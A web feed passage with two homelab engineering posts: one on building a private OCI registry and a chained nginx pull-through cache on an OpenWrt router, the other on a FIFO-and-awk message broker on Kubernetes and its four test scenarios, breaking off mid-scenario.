&lt;p&gt;Configuration is a small JSON file at the canonical path. The HTTP listener binds to the inner-segment IP and a chosen port. No TLS, no auth. The trust boundary is the network. The segment is reachable only from machines under direct control, and inbound from the working laptop subnet is opened explicitly in the firewall for a single port.&lt;&#x2F;p&gt;
&lt;p&gt;Adding TLS to a private registry that lives inside a segment with integrity properties at the network layer is a different decision from adding TLS to a service crossing an arbitrary path. A step-ca instance is available for issuing certificates internally. The certificate step is queued. As of this writing the registry exists, responds 200 on &lt;code&gt;&#x2F;v2&#x2F;&lt;&#x2F;code&gt;, accepts pushes from the laptop and answers pulls from the same.&lt;&#x2F;p&gt;
&lt;p&gt;Two notes from the build:&lt;&#x2F;p&gt;
&lt;p&gt;The Linux init script needed &lt;code&gt;command_user&lt;&#x2F;code&gt;, &lt;code&gt;command_background&lt;&#x2F;code&gt;, &lt;code&gt;pidfile&lt;&#x2F;code&gt; and a &lt;code&gt;start_pre&lt;&#x2F;code&gt; hook that asserts ownership on the storage and log directories. The first start crashed because a stray root-owned log file from an earlier &lt;code&gt;verify&lt;&#x2F;code&gt; run blocked the registry user from opening the log for append. &lt;code&gt;checkpath&lt;&#x2F;code&gt; in the init script handles directories but not files inside them. A one-line &lt;code&gt;chown&lt;&#x2F;code&gt; fixed it. The next iteration of the init script will assert file modes too, with &lt;code&gt;checkpath -f&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The default firewall on the server side runs nftables with a default-drop input chain. It accepted SSH and HTTPS but not the registry port. One line in the nft ruleset closed the loop.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-cache-and-the-awkward-problem-in-the-middle&quot;&gt;The cache, and the awkward problem in the middle&lt;&#x2F;h3&gt;
&lt;p&gt;The cache is where the architecture had to do real work.&lt;&#x2F;p&gt;
&lt;p&gt;The router has a custom build of nginx, compiled statically against musl, with the proxy_cache module included but without OpenSSL. That build exists because there is no straight path to compile mainline nginx against both OpenSSL and the proxy_cache stack on this OpenWrt configuration. This was verified earlier. The factory-shipped nginx has OpenSSL but not proxy_cache. So one binary can do TLS but not caching, the other can cache but not do TLS.&lt;&#x2F;p&gt;
&lt;p&gt;Three upstream registries to cache. Each upstream serves only HTTPS. There is no HTTP fallback for any of them, which is correct.&lt;&#x2F;p&gt;
&lt;p&gt;Why these three. Chainguard (cgr.dev) for hardened minimal images consumed by KMQ and other in-cluster workloads. Docker Hub for the long tail of base images: alpine, busybox, the language runtimes that nothing else publishes consistently. GHCR for upstream tooling, including zot itself. The list is not chosen for symmetry. Each upstream is in the path because something specific consumes from it.&lt;&#x2F;p&gt;
&lt;p&gt;The pragmatic resolution to the TLS-or-cache split is composition. Two nginx processes, two configurations, chained on loopback. The cache layer terminates HTTP from clients on the inner-segment IP. It proxies to a TLS-terminator nginx listening on a private high port on loopback. The terminator opens the HTTPS connection upstream, with SNI, with certificate verification against the OS CA bundle, with the correct Host header for each upstream. The body comes back through the terminator, into the cache layer and either gets stored or not, depending on the response code and the request path.&lt;&#x2F;p&gt;
&lt;p&gt;The router has 47 GB of free disk on a USB drive already in use as an Alpine package mirror. The cache reuses it.&lt;&#x2F;p&gt;
&lt;p&gt;Three things in this design needed to be reasoned about explicitly.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Cache key and authentication.&lt;&#x2F;strong&gt; Every request to a public OCI registry begins with a 401 and a &lt;code&gt;WWW-Authenticate: Bearer&lt;&#x2F;code&gt; header pointing to a token endpoint. The client fetches the token directly from the upstream and re-issues the original request with the bearer credential. That second request is what produces the 200 with the manifest or blob. If the cache key includes the &lt;code&gt;Authorization&lt;&#x2F;code&gt; header, every client with a different token sees a miss. If the cache key is just the request URI, every authenticated client shares the cached object.&lt;&#x2F;p&gt;
&lt;p&gt;For an anonymous pull-through, sharing is the desired behavior. The cache key is &lt;code&gt;$request_uri&lt;&#x2F;code&gt;, period. The &lt;code&gt;Authorization&lt;&#x2F;code&gt; header is forwarded to the terminator and then upstream, so the upstream still authorizes per-request. The cache layer does not authenticate, does not store credentials, does not know who the clients are. It stores artifacts by their URI, and the URI for a blob is its digest, which is a content address. Two clients pulling the same blob with different tokens get the same byte sequence. The cache is correct.&lt;&#x2F;p&gt;
&lt;p&gt;The 401 itself must never be cached. There is a hard-coded &lt;code&gt;proxy_cache_valid 401 0&lt;&#x2F;code&gt; in every server block. The first time this was forgotten, the cache held a 401 with an upstream WWW-Authenticate frozen in it, and every subsequent client tried to authenticate against a stale realm.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Blobs versus manifests.&lt;&#x2F;strong&gt; OCI distinguishes two kinds of object on the path. A blob lives at &lt;code&gt;&#x2F;v2&#x2F;&amp;lt;name&amp;gt;&#x2F;blobs&#x2F;sha256:&amp;lt;digest&amp;gt;&lt;&#x2F;code&gt; and is immutable: the digest is its identity. A manifest lives at &lt;code&gt;&#x2F;v2&#x2F;&amp;lt;name&amp;gt;&#x2F;manifests&#x2F;&amp;lt;reference&amp;gt;&lt;&#x2F;code&gt;, and the reference may be a digest (immutable) or a tag (mutable). The cache treats them differently. Blobs cache for a year. Manifests cache for an hour. Tagged manifests will go stale and the upstream will report a new digest after the TTL. Digest-addressed objects are content. Content does not change.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Redirects.&lt;&#x2F;strong&gt; This is the surprise. cgr.dev and Docker Hub do not serve blobs from their own infrastructure. They redirect blob requests, with a 307, to a signed URL on a CDN. The client follows the redirect and downloads the blob from a third party. If the cache layer does not store the 307 itself, every blob request hits the upstream API again, gets another 307, the client re-downloads the blob from the CDN. If the cache layer follows the redirect internally and caches the body, the result is true blob caching. nginx vanilla does not follow upstream redirects internally for proxy_pass, and trying to make it do so cleanly is a fight worth avoiding.&lt;&#x2F;p&gt;
&lt;p&gt;The middle path is to cache the 307 with a short TTL aligned to the signed URL’s expiration. Clients hit the cache, receive the redirect from local storage, follow it directly to the CDN. The cache holds a sequence of small redirect responses, not the multi-megabyte blobs. The CDN does its own caching downstream of that. The savings are real but smaller than they would be with body caching.&lt;&#x2F;p&gt;
&lt;p&gt;GHCR does not redirect. It serves blobs from its own infrastructure. For GHCR, the cache layer stores the actual blob bytes. A 50 MB image pulled twice in a row drops from 16 seconds to 5 seconds on the second pull. cgr.dev and Docker Hub stay around 50% reduction because the redirect URL changes per request and the body trip is uncached. Three upstreams, three behaviors. The cache topology is uniform. The effective speedup is not.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-bearer-header-that-did-not-fit&quot;&gt;The bearer header that did not fit&lt;&#x2F;h3&gt;
&lt;p&gt;Docker Hub issues large bearer tokens. The default &lt;code&gt;client_header_buffer_size&lt;&#x2F;code&gt; and &lt;code&gt;large_client_header_buffers&lt;&#x2F;code&gt; on the factory nginx on this router were sized for normal HTTP traffic, not for JWTs with broad scopes. The first crane pull against the cache returned 400 Request Header Or Cookie Too Large from the TLS terminator. Increasing the buffers in the terminator’s server blocks fixed it.&lt;&#x2F;p&gt;
&lt;p&gt;A small lesson sits there. Every careful decision about cache keys and TTLs and certificate verification can hold up, and a buffer sized for an older internet rejects the connection before any of it runs. Always measure with the actual upstream, not with a synthetic substitute.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;validating-the-chain&quot;&gt;Validating the chain&lt;&#x2F;h3&gt;
&lt;p&gt;Once the plumbing was up, the same image pull ran twice from the laptop with crane against each of the three upstreams. crane handles the OCI auth dance internally. What gets exercised is a real-world pull, not a synthetic curl with a hand-crafted token.&lt;&#x2F;p&gt;
&lt;p&gt;The outputs:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;chainguard&#x2F;static:latest. First pull 2.3s, second 1.3s. Manifests cache, blobs go via redirect.&lt;&#x2F;li&gt;
&lt;li&gt;library&#x2F;alpine:3.21 from Docker Hub. First pull 3.5s, second 1.7s. Same redirect pattern.&lt;&#x2F;li&gt;
&lt;li&gt;project-zot&#x2F;zot-minimal:v2.1.15 from GHCR. First pull 16s, second 5s. Real blob caching on disk.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;A small POSIX shell script runs the full smoke test from any host: DNS resolution, &lt;code&gt;&#x2F;v2&#x2F;&lt;&#x2F;code&gt; probes, manifest retrieval, two pulls and a speedup measurement. Output is one line per event in logfmt. Anything can pipe it through awk. CI can read the same lines a human reads. There is no ASCII art, no color codes, no separator characters that would survive a bad terminal. A test result is a fact. A fact is a key-value pair.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ts=2026-05-04T08:42:11Z host=client01 result=pass event=v2_probe target=cache_ghcr endpoint=cache-ghcr.home.arpa:8080 code=401
ts=2026-05-04T08:42:13Z host=client01 result=pass event=cache_eff target=cache_ghcr image=project-zot&amp;#x2F;zot-minimal:v2.1.15 ms1=16194 ms2=5160 speedup_pct=68
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That is the entire surface area of the test. One line, one event, parseable forever.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;what-this-is&quot;&gt;What this is&lt;&#x2F;h3&gt;
&lt;p&gt;The separation of questions materializes as separation of machines. Internal artifacts answer to one process, on one host, on one segment, with one trust model. External artifacts answer through a different process, on a different host, with a different trust model. The architecture does not let them be confused in the code because they are not in the same code. That property is harder to add later than to keep from the start.&lt;&#x2F;p&gt;
&lt;p&gt;This is homelab hardware running at homelab budget. The criteria applied to it are not. Default-drop firewalls, segmented networks, content-addressed storage, structured logs, configuration in a git repository even when the deployment is not yet automated.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;what-is-left&quot;&gt;What is left&lt;&#x2F;h3&gt;
&lt;p&gt;Nothing here is finished. The private registry has no TLS yet. The cache has no metrics export. The smoke test runs by hand. Configuration sits in a git repository, but the deployment is not yet driven from it. There is no Ansible role, no CI pipeline that applies the config to the router, no rollback path that does not involve someone typing on a console. All of that is queued.&lt;&#x2F;p&gt;
&lt;p&gt;What exists, exists in a way that the next iteration can build on. Configuration is text. Decisions are documented. The constraints that decided the architecture are written down. The events the system produces are structured and archivable.&lt;&#x2F;p&gt;
&lt;p&gt;A separate post picks up from here and looks at what becomes possible once a controlled artifact substrate exists locally. Drift detection across release histories, replay of past states, signature workflows that do not depend on a third-party registry being reachable. That belongs in its own piece.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;References used while building this:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;opencontainers&#x2F;distribution-spec&#x2F;blob&#x2F;main&#x2F;spec.md&quot;&gt;OCI Distribution Specification&lt;&#x2F;a&gt;, endpoint definitions for &lt;code&gt;&#x2F;v2&#x2F;&lt;&#x2F;code&gt;, manifests and blobs.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zotregistry.dev&#x2F;v2.1.15&#x2F;install-guides&#x2F;install-guide-linux&#x2F;&quot;&gt;zot installation guide&lt;&#x2F;a&gt;, bare-metal Linux deployment.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nginx.org&#x2F;en&#x2F;docs&#x2F;http&#x2F;ngx_http_proxy_module.html&quot;&gt;nginx http_proxy_module&lt;&#x2F;a&gt;, &lt;code&gt;proxy_cache_path&lt;&#x2F;code&gt;, &lt;code&gt;proxy_cache_valid&lt;&#x2F;code&gt;, &lt;code&gt;proxy_cache_use_stale&lt;&#x2F;code&gt;, &lt;code&gt;proxy_ssl_server_name&lt;&#x2F;code&gt;, &lt;code&gt;proxy_ssl_verify&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;OpenRC&#x2F;openrc&#x2F;blob&#x2F;master&#x2F;service-script-guide.md&quot;&gt;OpenRC service script guide&lt;&#x2F;a&gt;, &lt;code&gt;command_user&lt;&#x2F;code&gt;, &lt;code&gt;command_background&lt;&#x2F;code&gt;, &lt;code&gt;pidfile&lt;&#x2F;code&gt;, &lt;code&gt;checkpath&lt;&#x2F;code&gt;, dependency declarations.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;openwrt.org&#x2F;docs&#x2F;guide-user&#x2F;firewall&#x2F;firewall_configuration&quot;&gt;OpenWrt firewall configuration&lt;&#x2F;a&gt;, zone forwarding rules.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;openwrt.org&#x2F;docs&#x2F;guide-user&#x2F;base-system&#x2F;dhcp_configuration#static_dns_records&quot;&gt;OpenWrt DHCP&#x2F;DNS configuration&lt;&#x2F;a&gt;, static A records via dnsmasq.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;go-containerregistry&#x2F;blob&#x2F;main&#x2F;cmd&#x2F;crane&#x2F;doc&#x2F;crane.md&quot;&gt;crane CLI documentation&lt;&#x2F;a&gt;, client-side validation of OCI registries.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;brandur.org&#x2F;logfmt&quot;&gt;logfmt&lt;&#x2F;a&gt;, structured logging in plain text.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc8375&quot;&gt;home.arpa, RFC 8375&lt;&#x2F;a&gt;, the special-use domain for residential networks.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>A message broker from FIFOs and awk: four scenarios, two passes, two failures</title>
        <published>2026-05-04T00:00:00+00:00</published>
        <updated>2026-05-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/kmq-broker-from-primitives/"/>
        <id>https://lf3.gitlab.io/blog/kmq-broker-from-primitives/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/kmq-broker-from-primitives/">&lt;h2 id=&quot;a-message-broker-from-fifos-and-awk&quot;&gt;A message broker from FIFOs and awk&lt;&#x2F;h2&gt;
&lt;p&gt;First post in a series on KMQ, a homelab message broker built from Unix primitives on Kubernetes. This one documents the original all-FIFO pipeline and four scenarios executed against it. Two passed cleanly. Two failed in ways that motivated the next iteration, written up in &lt;a href=&quot;&#x2F;blog&#x2F;kmq-ring-buffer-backpressure-block&quot;&gt;post 02&lt;&#x2F;a&gt;. A separate aside covers the &lt;a href=&quot;&#x2F;blog&#x2F;private-registry-upstream-pull-through-cache&quot;&gt;private OCI registry and pull-through cache&lt;&#x2F;a&gt; that supports the cluster.&lt;&#x2F;p&gt;
&lt;p&gt;KMQ has a deliberately narrow premise: build a message broker out of named pipes, AWK and Kubernetes primitives. No Kafka. No NATS. No RabbitMQ. FIFOs and a few hundred lines of AWK wired together by container manifests.&lt;&#x2F;p&gt;
&lt;p&gt;The point is not production. The point is implementing the patterns by hand, where the cost of a wrong abstraction is a few seconds of debugging and the reward is a working artifact instead of a cited definition.&lt;&#x2F;p&gt;
&lt;p&gt;This writeup describes what KMQ does, what KMQ does not do and the four scenarios run against the pipeline. Two passed. Two failed in unanticipated ways. The failures carry most of the diagnostic weight.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;why-a-broker-by-hand&quot;&gt;Why a broker, by hand&lt;&#x2F;h3&gt;
&lt;p&gt;Event-driven systems have a mature vocabulary. Backpressure, ordering guarantees, durability tiers, single semantic authority, append-only logs with offset replay. The terms are everywhere. Pub&#x2F;Sub flow control, Kafka consumer groups, AMQP exchange bindings, SQS DLQ redrive: every serious broker has documentation for each and a long history of decisions encoded in their implementations.&lt;&#x2F;p&gt;
&lt;p&gt;Using those terms without ever implementing one of them from primitives leaves a gap. KMQ is the attempt to close it.&lt;&#x2F;p&gt;
&lt;p&gt;The bet: a broker built from Unix primitives exposes the patterns more honestly than any production system. A FIFO is not a metaphor for backpressure. A FIFO is the kernel-level mechanism backpressure is built on. An append-only log is not a buzzword. An append-only log is a file that responds to &lt;code&gt;tail&lt;&#x2F;code&gt;. A dead letter queue is not a distinguished concept in the protocol. A dead letter queue is a destination file in a routing table written in awk.&lt;&#x2F;p&gt;
&lt;p&gt;If those primitives behave correctly under load and under failure, the patterns become visible from the bottom up. If they fail, the failures are specific and inspectable.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;the-shape-of-kmq-in-this-post&quot;&gt;The shape of KMQ in this post&lt;&#x2F;h3&gt;
&lt;p&gt;KMQ runs as a single Kubernetes Deployment with four containers in one Pod, plus stateless ingress and egress Deployments in front. In this iteration the pipeline is four awk processes connected by three named pipes.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;producer
   |
   |  TCP :30672 (NodePort)
   v
ingress Deployment        socat, n=2, forwards to broker-svc:5673
   |
   |  TCP :5673 (ClusterIP)
   v
+===================================================+
| broker Pod   replicas=1, strategy: Recreate       |
|                                                   |
|  init container:                                  |
|    mkfifo &amp;#x2F;pipes&amp;#x2F;{raw, framed, durable}           |
|                                                   |
|  internal-ingress (socat fork per connection)     |
|        |                                          |
|        v   &amp;#x2F;pipes&amp;#x2F;raw                             |
|  framer.awk        seq + ts, resumes from         |
|                    append.log on startup          |
|        |                                          |
|        v   &amp;#x2F;pipes&amp;#x2F;framed                          |
|  durability.awk    tee -&amp;gt; append.log              |
|                    forwards downstream            |
|        |                                          |
|        v   &amp;#x2F;pipes&amp;#x2F;durable                         |
|  router.awk        prefix match -&amp;gt; queue file     |
|        |                                          |
|        v                                          |
|  hostPath &amp;#x2F;logs:                                  |
|     test.log                                      |
|     jobs.process.log                              |
|     jobs.notify.log                               |
|     dead_letter.log     (unmatched routing keys)  |
|     append.log          (audit, source of truth)  |
+===================================================+
   |
   |  tail &amp;#x2F;logs&amp;#x2F;{queue}.log
   v
egress Deployment         socat, n=2
   |
   |  TCP :30674 (NodePort)
   v
consumer
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Each container does one thing.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;strong&gt;framer&lt;&#x2F;strong&gt; assigns a monotonically increasing sequence number to each message, prepends a millisecond timestamp and writes to the next pipe. On startup, the framer reads the persistent append log and resumes numbering from the last seq found. This is the offset-replay primitive. Without it, a pod restart resets seq to 1 and downstream consumers cannot tell the new message 1 from the original message 1.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;strong&gt;durability&lt;&#x2F;strong&gt; stage forks the stream: appends every record to &lt;code&gt;append.log&lt;&#x2F;code&gt; on a hostPath volume and forwards the same record downstream. Four persistence tiers exist: none, batched, per-message, per-message+sync. Tier 1 batches every 100 messages and is the default.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;strong&gt;router&lt;&#x2F;strong&gt; matches each record’s routing key against a small set of prefixes (&lt;code&gt;test.*&lt;&#x2F;code&gt;, &lt;code&gt;jobs.process.*&lt;&#x2F;code&gt;, &lt;code&gt;jobs.notify.*&lt;&#x2F;code&gt;) and writes the record to the corresponding queue log. Anything unmatched goes to &lt;code&gt;dead_letter.log&lt;&#x2F;code&gt;. This is the broker’s exchange-to-queue binding written as five lines of awk.&lt;&#x2F;p&gt;
&lt;p&gt;Ingress and egress deployments are stateless socat processes: 5672 to broker-svc:5673 inbound, 5674 to consumer connection outbound. No state to lose, so each replicates to two pods.&lt;&#x2F;p&gt;
&lt;p&gt;About 200 lines of awk total, eight YAML manifests, three container images. The only state surviving a pod restart lives in per-queue log files on disk. Everything else is ephemeral by design.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;four-scenarios-four-named-patterns&quot;&gt;Four scenarios, four named patterns&lt;&#x2F;h3&gt;
&lt;p&gt;Four scripts, one per scenario. Each produces a logfmt artifact in a &lt;code&gt;results&#x2F;&lt;&#x2F;code&gt; directory. Each tests a pattern with a name in the literature and an implementation here.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;scenario-1-sequence-resume-across-broker-restart&quot;&gt;Scenario 1: sequence resume across broker restart&lt;&#x2F;h4&gt;
&lt;p&gt;Pattern: event sourcing offset replay. Kafka consumers, Pub&#x2F;Sub ordering guarantees, write-ahead-log recovery in databases. The append log is the durable source of truth. The processes around it are stateless executors.&lt;&#x2F;p&gt;
&lt;p&gt;Test: send 500 messages. Wait for &lt;code&gt;append.log&lt;&#x2F;code&gt; to settle at 500 records. Delete the broker pod. Wait for Kubernetes to schedule a replacement under the &lt;code&gt;Recreate&lt;&#x2F;code&gt; strategy. Send 500 more. Verify the resulting log has 1000 records with seq monotonically increasing and zero gaps.&lt;&#x2F;p&gt;
&lt;p&gt;Result: clean. The framer’s stderr line &lt;code&gt;framer: resuming from seq 500&lt;&#x2F;code&gt; appears in the artifact. The five-record window straddling the kill boundary shows seq 499 and 500 with payload &lt;code&gt;batch1&lt;&#x2F;code&gt;, then seq 501, 502, 503 with payload &lt;code&gt;batch2&lt;&#x2F;code&gt;. The gap checker reads 1000 records, first=1, last=1000, PASS.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;499|1777889157430|test.probe|1777889154142|499|batch1
500|1777889157430|test.probe|1777889154143|500|batch1
501|1777889168897|test.probe|1777889168897|1|batch2
502|1777889168898|test.probe|1777889168898|2|batch2
503|1777889168899|test.probe|1777889168899|3|batch2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The framer-side timestamp jumps by eleven seconds across the boundary, which matches the time the broker pod took to be deleted, rescheduled and become Ready. Sequence numbers do not jump. The new framer instance reads the existing append.log, walks line by line, finds seq=500, continues from 501.&lt;&#x2F;p&gt;
&lt;p&gt;Kafka’s offset replay performs the same operation as the framer with substantially more code and substantially more correctness guarantees. Reading the log at startup, the seq increment, the persistence: those operations exist in any system claiming at-least-once delivery with order. KMQ has them in 25 lines of awk.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;scenario-2-routing-and-dead-letter-cardinality&quot;&gt;Scenario 2: routing and dead letter cardinality&lt;&#x2F;h4&gt;
&lt;p&gt;Pattern: AMQP-style exchange-to-queue binding. SNS topic-to-subscription routing. Pub&#x2F;Sub pull subscriptions filtered by attribute. The router is a function from message to destination, with a default catching everything else.&lt;&#x2F;p&gt;
&lt;p&gt;Test: build a stream of 100 messages mixing five categories. Forty with &lt;code&gt;test.probe&lt;&#x2F;code&gt;, twenty with &lt;code&gt;jobs.process.user_*&lt;&#x2F;code&gt;, twenty with &lt;code&gt;jobs.notify.email_*&lt;&#x2F;code&gt;, ten with &lt;code&gt;random.unknown_*&lt;&#x2F;code&gt;, ten with &lt;code&gt;bar.baz_*&lt;&#x2F;code&gt;. Shuffle so routing is per-record, not per-batch. Send. Verify exact cardinality per destination file.&lt;&#x2F;p&gt;
&lt;p&gt;Result: exact. 40 in &lt;code&gt;test.log&lt;&#x2F;code&gt;, 20 in &lt;code&gt;jobs.process.log&lt;&#x2F;code&gt;, 20 in &lt;code&gt;jobs.notify.log&lt;&#x2F;code&gt;, 20 in &lt;code&gt;dead_letter.log&lt;&#x2F;code&gt;. The DLQ sample shows three lines from unmatched categories preserved with original routing keys intact.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;step=measure file=test.log         observed=40 expected=40
step=measure file=jobs.process.log observed=20 expected=20
step=measure file=jobs.notify.log  observed=20 expected=20
step=measure file=dead_letter.log  observed=20 expected=20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Routing is the cheap part of a broker. Twenty lines of awk. The cost lives elsewhere: persistence, ordering, delivery guarantees, ack semantics. Routing always works. The hard part is what happens after the routing decision.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;scenario-3-backpressure-boundary-measurement&quot;&gt;Scenario 3: backpressure boundary measurement&lt;&#x2F;h4&gt;
&lt;p&gt;First scenario where a clean pass was expected and a measurement appeared instead.&lt;&#x2F;p&gt;
&lt;p&gt;Pattern: kernel-enforced flow control via &lt;code&gt;pipe(7)&lt;&#x2F;code&gt; blocking write semantics. When a downstream reader stops consuming, the kernel pipe buffer fills, writers block in a &lt;code&gt;write()&lt;&#x2F;code&gt; syscall until space opens. No userspace memory growth. No application-level protocol. The kernel handles the bookkeeping.&lt;&#x2F;p&gt;
&lt;p&gt;Test: pause the router with &lt;code&gt;kill -STOP&lt;&#x2F;code&gt; against its gawk PID inside the container’s PID namespace. Burst 20 000 messages from a TCP client. Measure how many reach &lt;code&gt;append.log&lt;&#x2F;code&gt; while the consumer is paused. Read the broker pod’s cgroup memory.current to verify pipe buffering lives in kernel space, not in process address space. Resume the router. Wait for the pipeline to drain. Count survivors.&lt;&#x2F;p&gt;
&lt;p&gt;Expected: the sender blocks at some point. Memory does not grow. After resume, all 20 000 messages drain to &lt;code&gt;append.log&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Observed:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;step=verdict
  sent=20000
  delivered=9142
  lost=10858 loss_pct=54
  delivered_seq_integrity=PASS
  rss_pre_mb=2 rss_paused_mb=9 rss_during_mb=5 rss_post_mb=7
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The sender did not block. socat completed the burst in five seconds and exited cleanly. Memory stayed below 10 MB throughout, which confirms whatever buffering happened was kernel-side. More than half the messages were lost. What survived was perfectly ordered with zero gaps.&lt;&#x2F;p&gt;
&lt;p&gt;That result shape revealed a missing piece in the model. KMQ has kernel-enforced backpressure inside the pipeline. The FIFOs do block. The gawk processes do wait. The buffering does happen at the kernel level. What KMQ does not have is a backpressure protocol at the TCP boundary. The internal-ingress is a socat process forking a gawk per connection. When the FIFO fills, the gawk blocks, but socat does not propagate that block back to the TCP sender via zero-window or RST in any way preventing data loss. Kernel TCP buffers absorb what they can. The rest is dropped on the floor.&lt;&#x2F;p&gt;
&lt;p&gt;The internal pipeline is honest. The boundary at the wire is not.&lt;&#x2F;p&gt;
&lt;p&gt;This distinction is exactly what protocol-level flow control addresses. gRPC stream window updates. HTTP&#x2F;2 connection-level flow control. Kafka’s &lt;code&gt;produce&lt;&#x2F;code&gt; request acknowledgement loop. The Pub&#x2F;Sub client library’s &lt;code&gt;flow_control&lt;&#x2F;code&gt; option. Each of those exists because TCP backpressure alone is not sufficient when the application layer wants a delivery guarantee.&lt;&#x2F;p&gt;
&lt;p&gt;This iteration of KMQ does not make that guarantee. The internal pipeline tries, gets close and falls over at the boundary. Measuring the loss rate makes the boundary visible. The number, 54% lost under a paused-consumer burst, is the size of the gap between “blocking writes inside the system” and “delivery semantics at the protocol”.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;scenario-4-dead-letter-replay&quot;&gt;Scenario 4: dead letter replay&lt;&#x2F;h4&gt;
&lt;p&gt;Pattern: SQS DLQ redrive. Kafka Streams DLQ recovery. Azure Service Bus dead-lettered handling. The poison message workflow. A dead letter queue is not a graveyard. A dead letter queue is a buffer of messages with indeterminate destination, plus a recovery operation reading the DLQ, repairing the routing key per a remediation policy and reinjecting through the normal ingress.&lt;&#x2F;p&gt;
&lt;p&gt;Test: send 70 messages with known routing keys and 30 with &lt;code&gt;unknown.thing_*&lt;&#x2F;code&gt; keys routing to dead_letter.log. Verify routing cardinality. Snapshot the dead_letter.log content with sha256. Read it line by line, rewrite each &lt;code&gt;unknown.thing_N&lt;&#x2F;code&gt; key to &lt;code&gt;test.recovered_N&lt;&#x2F;code&gt; and reinject through the ingress. Wait. Verify recovered records show up in test.log, that dead_letter.log on disk is unchanged (audit trail preserved) and that the full append.log shows continuous sequence numbering across the original send and the recovery.&lt;&#x2F;p&gt;
&lt;p&gt;Step 1 of the test passed. The original 100 messages routed correctly. test.log = 70, dead_letter.log = 30, append.log = 100, sequence integrity PASS.&lt;&#x2F;p&gt;
&lt;p&gt;Step 2 failed. The 30 reinjected messages did not arrive.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;step=verdict
  test_log_growth=0
  expected_growth=30
  dead_letter_audit_preserved=true
  sequence_integrity=PASS
  final_records=100
  expected_final=130
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;socat reported the messages were sent. The TCP write completed. The records never appeared in append.log. The records never reached durability.&lt;&#x2F;p&gt;
&lt;p&gt;First hypothesis: a buffering bug in the durability stage. KMQ’s tier=1 persistence batches close-and-reopen of the log file every 100 records. Step 1 had hit that boundary exactly, which means the file got closed and flushed. Step 2’s 30 messages would not reach the boundary, leaving them in the gawk stdio buffer indefinitely. Adding &lt;code&gt;fflush(logfile)&lt;&#x2F;code&gt; per record, rebuilding the broker image, pushing to the registry, force-pulling, restarting the broker, retrying.&lt;&#x2F;p&gt;
&lt;p&gt;Same failure. Same shape. 30 messages lost.&lt;&#x2F;p&gt;
